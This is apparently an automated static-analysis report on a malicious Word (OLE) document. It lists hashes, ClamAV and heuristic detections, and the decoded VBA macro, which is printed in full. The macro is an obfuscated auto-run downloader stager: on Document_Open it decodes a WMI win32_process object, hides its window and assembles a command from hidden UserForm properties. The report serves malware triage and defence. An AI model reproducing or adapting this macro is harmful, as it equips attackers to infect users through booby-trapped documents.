Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 59353bd2a96cfde8…

MALICIOUS

Office (OLE)

169.2 KB Created: 2020-08-07 22:22:00 Authoring application: Microsoft Office Word First seen: 2021-02-19
MD5: 484bfdfec5742ade491aef716e253c6a SHA-1: 30a5778512aef149c40adb3e9292a7c8addac114 SHA-256: 59353bd2a96cfde81847bcf1480a531f68a1fcf0738161455a352c5b9babe28f
232 Risk Score

Heuristics 8

  • ClamAV: Doc.Downloader.Sagent-9242009-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sagent-9242009-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
    Matched line in script
    VCFBNuthcsxnzvgevs = Split _
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set KNPFIvvwklyaitbyf = CreateObject(MTPCFzdkpbtwiha)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Document_open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3918 bytes
SHA-256: 4bc14dd693a8a3880aaf18ee7214d93bb9ef4533dcc2bb0da9eb9c09c91a3d30
Detection
ClamAV: No threats found
Obfuscation or payload: likely
40 of 80 identifiers look randomly generated (e.g. 'BICTQuzydcknllnrqbl') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "MLKYMzshogjzaurfn"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
XFTKUeqjkidahpo.XLWDPaicobmzbdvlvl
End Sub


Attribute VB_Name = "XFTKUeqjkidahpo"
Attribute VB_Base = "0{50D84727-9824-4FA6-93A1-0E13641239BF}{CB80E379-066F-422C-97A4-623FA9570F6E}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function XLWDPaicobmzbdvlvl()
Dim j1Ì6Î As Integer
j1Ì6Î = 9
Do While j1Ì6Î < 9 + 9
j1Ì6Î = j1Ì6Î + 1: DoEvents
Loop
Dim QaWytUTJ As Integer
QaWytUTJ = Len("nyb6ÜfY")
Dim EMdBhGoOL As Integer
EMdBhGoOL = Len("UXBm")
BICTQuzydcknllnrqbl = Chr(XFTKUeqjkidahpo.Zoom + ((30 + 60 + 30) / (4 + 4)))
Dim AVRUMwK As Object
QDHHQbxgudoc = "3833h4*hh^@njhs72g hus7777bs3833h4*hh^@njhs72g hus7777bsw3833h4*hh^@njhs72g hus7777bsi3833h4*hh^@njhs72g hus7777bsnm3833h4*hh^@njhs72g hus7777bs3833h4*hh^@njhs72g hus7777bsgm3833h4*hh^@njhs72g hus7777bst3833h4*hh^@njhs72g hus7777bs3833h4*hh^@njhs72g hus7777bs" + BICTQuzydcknllnrqbl + "3833h4*hh^@njhs72g hus7777bs3833h4*hh^@njhs72g hus7777bs:3833h4*hh^@njhs72g hus7777bsw3833h4*hh^@njhs72g hus7777bsin3833h4*hh^@njhs72g hus7777bs3833h4*hh^@njhs72g hus7777bs33833h4*hh^@njhs72g hus7777bs23833h4*hh^@njhs72g hus7777bs_3833h4*hh^@njhs72g hus7777bs" + XFTKUeqjkidahpo.DRIJDdvavbpt + "3833h4*hh^@njhs72g hus7777bsro3833h4*hh^@njhs72g hus7777bs3833h4*hh^@njhs72g hus7777bsce3833h4*hh^@njhs72g hus7777bss3833h4*hh^@njhs72g hus7777bss3833h4*hh^@njhs72g hus7777bs"
Dim MoLW As Object
MTPCFzdkpbtwiha = AUYXUfpbjpexj(QDHHQbxgudoc)
Dim aXw As Integer
aXw = 1
Do While aXw < 1 + 8
aXw = aXw + 9: DoEvents
Loop
Set KNPFIvvwklyaitbyf = CreateObject(MTPCFzdkpbtwiha)
Dim O1åA As Integer
O1åA = 6
Do While O1åA < 6 + 6
O1åA = O1åA + 3: DoEvents
Loop
NEXFZeeypddztrikzk = XFTKUeqjkidahpo.UOTWOkwarhzhkfw.ControlTipText
Dim BZ1ÎWrm As Boolean
NWVTUnqkzdsc = b3 + (MTPCFzdkpbtwiha + BICTQuzydcknllnrqbl + XFTKUeqjkidahpo.LQQSWxmrpleaeom.ControlTipText + NEXFZeeypddztrikzk)
Dim Lhs8ÝW8ÃZV As Integer
Lhs8ÝW8ÃZV = 4
Do While Lhs8ÝW8ÃZV < 4 + 5
Lhs8ÝW8ÃZV = Lhs8ÝW8ÃZV + 2: DoEvents
Loop
GUMFUkybcuupzdcnhq = NWVTUnqkzdsc + XFTKUeqjkidahpo.DRIJDdvavbpt
Dim P3áOQ As Object
Set VVMTWkngiznnxghkfy = RRBNCtdarfubx(GUMFUkybcuupzdcnhq)
Dim fYLYIDH As Integer
fYLYIDH = Len("ZQfY")
s = Array(v + "is", KNPFIvvwklyaitbyf. _
Create(AVWVVlnjvdweutfno, WVXSEbousati, VVMTWkngiznnxghkfy), i + "rt")
Dim qZNvlj As Double
End Function
Function RRBNCtdarfubx(YTIPNtxoydzcx)
Set RRBNCtdarfubx = CreateObject(YTIPNtxoydzcx)
Dim oFNsCjHpPN As Double
RRBNCtdarfubx. _
showwindow = UXDGDddagzuklj + BHTNWqbzdjiluy + DBAQMpfhpbkzp
Dim w0ÎjMvtMr As Byte
End Function
Function AUYXUfpbjpexj(PHAHYpzasabzjcim)
KXCGHcgkefenw = PHAHYpzasabzjcim
Dim rrv As Integer
rrv = 3
Do While rrv < 3 + 1
rrv = rrv + 4: DoEvents
Loop
VCFBNuthcsxnzvgevs = Split _
(KXCGHcgkefenw, "3833h4*hh^@njhs72g hus7777bs")
Dim uRbu4Äf As Integer
uRbu4Äf = 8
Do While uRbu4Äf < 8 + 6
uRbu4Äf = uRbu4Äf + 2: DoEvents
Loop
FNRSLibzwrho = e2 + Join(VCFBNuthcsxnzvgevs, w1)
Dim wE8e As Date
AUYXUfpbjpexj = FNRSLibzwrho
Dim II0Í6àm8È As Variant
End Function
Function AVWVVlnjvdweutfno()
q = XFTKUeqjkidahpo.RNZJQibfxawbmq.Pages((2 * 5) / 10).Caption
Dim KcJ2ÑZNvlja As Integer
KcJ2ÑZNvlja = 4
Do While KcJ2ÑZNvlja < 4 + 5
KcJ2ÑZNvlja = KcJ2ÑZNvlja + 2: DoEvents
Loop
AVWVVlnjvdweutfno = AUYXUfpbjpexj(q)
Dim WpUViEN As Integer
WpUViEN = 6
Do While WpUViEN < 6 + 4
WpUViEN = WpUViEN + 4: DoEvents
Loop
End Function

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